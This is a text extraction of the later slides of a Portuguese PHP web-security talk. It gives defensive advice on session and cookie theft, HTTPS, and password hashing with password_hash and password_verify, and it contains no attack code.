![Page 96: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/96.jpg)
Servidor
session_start()Verifica se a sessão
existe
Procura pelo SESSID em um cookie
Procura pelo SESSID numa querystring
Busca os dados e cria a $_SESSION
Sim
Sim
Não
Cria uma nova SESSID
Não
Cookies e Sessions
![Page 97: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/97.jpg)
Roubo de Cookie(Cookie Theft)
![Page 98: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/98.jpg)
Tome cuidado com
XSS
![Page 99: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/99.jpg)
Cookies também
podem ser roubados
com sniffers
Proteja utilizando HTTPS
![Page 100: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/100.jpg)
Vulnerabilidades
de Sessão
![Page 101: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/101.jpg)
Dados de sessão podem ser
visualizados via sniff quando
não criptografado com HTTPS
Exposição de Sessão
![Page 102: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/102.jpg)
Hospedagens compartilhadas podem
vazar dados dentro dos diretórios com
permissões de leitura a todos
Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão
Exposição de Sessão
![Page 103: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/103.jpg)
Roubo de Sessão(Session Hijacking)
![Page 104: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/104.jpg)
É possível fixar um SID,
forjar ou até mesmo
capturar um cookie!
Roubo de Sessão
![Page 105: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/105.jpg)
Algumas sugestões para evitar roubo de sessão (tente
equilibrar usabilidade e segurança):
Gerar tokens únicos por usuário
Verificar User-Agent e IP
Utilizar sessões apenas via cookies
Roubo de Sessão
![Page 106: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/106.jpg)
Não sacrifique a usabilidade do projeto!
![Page 107: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/107.jpg)
![Page 108: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/108.jpg)
não
![Page 109: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/109.jpg)
2FA, 3FA, 4FA…
![Page 110: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/110.jpg)
9 Tráfego na web
![Page 111: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/111.jpg)
Fluxo do tráfego
Cliente Servidor
Requisição HTTP
Resposta HTTP
Requisição HTTP
Resposta HTTP
![Page 112: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/112.jpg)
Sniffers em redes abertas
![Page 113: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/113.jpg)
Wireshark
![Page 114: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/114.jpg)
![Page 115: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/115.jpg)
Configurando um certificado SSL
![Page 116: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/116.jpg)
http://www.phpit.com.br/artigos/configurando-ssl-servidor-de-desenvolvimento-apache.phpit
Gerando um certificado para testes
![Page 117: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/117.jpg)
![Page 118: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/118.jpg)
Alternando entre HTTP e HTTPS
![Page 119: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/119.jpg)
Leves diferenças na
$_SERVER sob HTTPS
![Page 120: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/120.jpg)
$_SERVER[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 80[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www
HTTP
[HTTPS] => on[SSL_TLS_SNI] => localhost[HTTP_HOST] => localhost[SERVER_SOFTWARE] => Apache/2.2.22[SERVER_NAME] => localhost[SERVER_ADDR] => 127.0.0.1[SERVER_PORT] => 443[REMOTE_ADDR] => 127.0.0.1[DOCUMENT_ROOT] => /var/www
HTTPS
![Page 121: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/121.jpg)
Force a utilização do
protocolo HTTPS
Via aplicação ou via apache
![Page 122: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/122.jpg)
10 Armazenando senhas
![Page 123: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/123.jpg)
md5…
sha1…
![Page 124: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/124.jpg)
crypt
password_hash
![Page 125: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/125.jpg)
<?php$cript=password_hash('abacaxi',CRYPT_BLOWFISH,['cost'=>12]);//Exemplo:$2y$12$0VeJrCeppjPkEkxwuJNRRudT25GAUprLgzUHq5zX01G2LPJyZjixS
if(password_verify('abacaxi',$cript)){echo'SenhaOK';}else{echo'Deuruim!';}
![Page 126: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/126.jpg)
<?php$senha='abacaxi';$hash='$2y$12$0VeJrCeppjPkEkxwuJNRRudT25GAUprLgzUHq5zX01G2LPJyZjixS';
//Podeaumentarconformeacapacidadedoseuservidorevolui$opcoes=['cost'=>10];
//VerificaseasenhaestáOKif(password_verify($senha,$hash)){//Sedeucerto,verificaseasenhaatendeàsnovas//opções(comoalgoritmooucustodiferentes)if(password_needs_rehash($hash,PASSWORD_DEFAULT,$opcoes)){//Geraumasenhanovaparasubstituiraantiga$novoHash=password_hash($senha,PASSWORD_DEFAULT,$opcoes);}}
![Page 127: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/127.jpg)
É possível definir um salt,
mas não é recomendado!
![Page 128: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/128.jpg)
11 Aplicações de verificação de vulnerabilidades
![Page 135: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/135.jpg)
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
WebGoat - Aplicação Vulnerável para Estudo
![Page 136: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/136.jpg)
Monitorar logs
Manter PHP atualizado
Frameworks
Segurança física
Últimas dicas
![Page 137: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/137.jpg)
Sempre que possível, utilize código refatorado
Exposição phpinfo()
Cuidados ao enviar e-mails Segurança no sistema de arquivos
Últimas dicas
![Page 138: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/138.jpg)
Obrigado!Rafael Jaques
rafajaques.com.br / phpit.com.br
@rafajaques
speakerdeck.com/rafajaques
w
@
![Page 139: PHP & Segurança: Blindando Aplicações Web - Rafael Jaques - Tchelinux Bento Gonçalves 2017](https://reader033.vdocuments.net/reader033/viewer/2022052706/5a6803667f8b9a81378b4e59/html5/thumbnails/139.jpg)
Imagens utilizadas
• https://flic.kr/p/5Ndwd8
• https://flic.kr/p/i3NEP6
• Icons made by Madebyoliver from www.flaticon.com is licensed by CC 3.0 BY